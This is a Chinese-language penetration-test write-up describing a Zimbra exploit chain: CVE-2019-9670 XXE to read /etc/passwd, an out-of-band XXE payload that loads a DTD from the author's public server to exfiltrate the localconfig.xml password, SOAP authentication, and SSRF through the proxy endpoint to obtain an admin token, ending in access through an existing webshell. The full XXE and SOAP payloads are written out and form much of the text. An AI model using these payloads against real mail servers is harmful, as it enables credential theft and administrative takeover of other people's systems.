zimbra漏洞利用
记一次渗透测试zimbra漏洞利用
当时通过界面判断判断出开发利用zimbra搭建的网站。zimbra又存在多个漏洞。
1.首先通过利用了CVE-2019-9670 XXE漏洞来尝试读取/etc/passwd
读取文件成功,证明此漏洞可以被成功利用。
2.接下来读取zimbra的配置文件获取密码,因为配置文件时xml文件,因此需要使用外部dtd获取信息。
请求接口:Post:/Autodiscover/Autodiscover.xml
Zimbra配置文件位置为/conf/localconfig.xml
在公网IP上创建dtd文件,内容如上图所示并通过python搭建http服务。调用公网上的dtd读取配置文件,获取zimbra用户密码。
3.通刚刚获取的密码获取低权限的token
请求接口:Post: /service/soap
4.利用ssrf漏洞获通过proxy接口,访问admin的soap接口获取高权限Token
请求接口:Post:
/service/proxy?target=https://127.0.0.1:7071/service/admin/soap
PS:注意事项
Host:后面加端口7071
Cookie中设置Key为ZM_ADMIN_AUTH_TOKEN,值为上面请求所获取的token。
发送同上Body内容,但是AuthRequest的xmlns要改为:urn:zimbraAdmin,否则获取的还是普通权限的Token
获取高权限以后,下一步正常情况应该是上传文件getshell,但是这个测试环境目标文件夹被写死了,我的root权限也没办法写入文件,后续通过第一步的xxe任意文件浏览进行的信息收集,发现在他的上传文件存默认目录下直接存在webshell,直接拿到的权限。
XXE代码:
1.
<!DOCTYPE xxe [
<!ELEMENT name ANY
>
<!ENTITY xxe SYSTEM
"file:///etc/passwd" >]>
<Autodiscover
xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
<Request>
<EMailAddress>aaaaa</EMailAddress>
<AcceptableResponseSchema>&xxe;</AcceptableResponseSchema>
</Request>
</Autodiscover>
<!DOCTYPE Autodiscover [
<!ENTITY % dtd SYSTEM "http://公网服务器/dtd">
%dtd;
%all;
]>
<Autodiscover
xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
<Request>
<EMailAddress>aaaaa</EMailAddress>
<AcceptableResponseSchema>&fileContents;</AcceptableResponseSchema>
</Request>
</Autodiscover>
<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">
<soap:Header>
<context xmlns="urn:zimbra">
<userAgent name="ZimbraWebClient - SAF3 (Win)" version="5.0.15_GA_2851.RHEL5_64"/>
</context>
</soap:Header>
<soap:Body>
<AuthRequest xmlns="urn:zimbraAccount">
<account by="adminName">zimbra</account>
<password>上一步得到密码</password>
</AuthRequest>
</soap:Body>
</soap:Envelope>`
4.和3一样上面有说明。
此文章存在问题请联系作者删除相关问题。
参考链接:写的很清楚
https://blog.csdn.net/weixin_40709439/article/details/90136596
https://www.bbsmax.com/A/kvJ31mgAdg/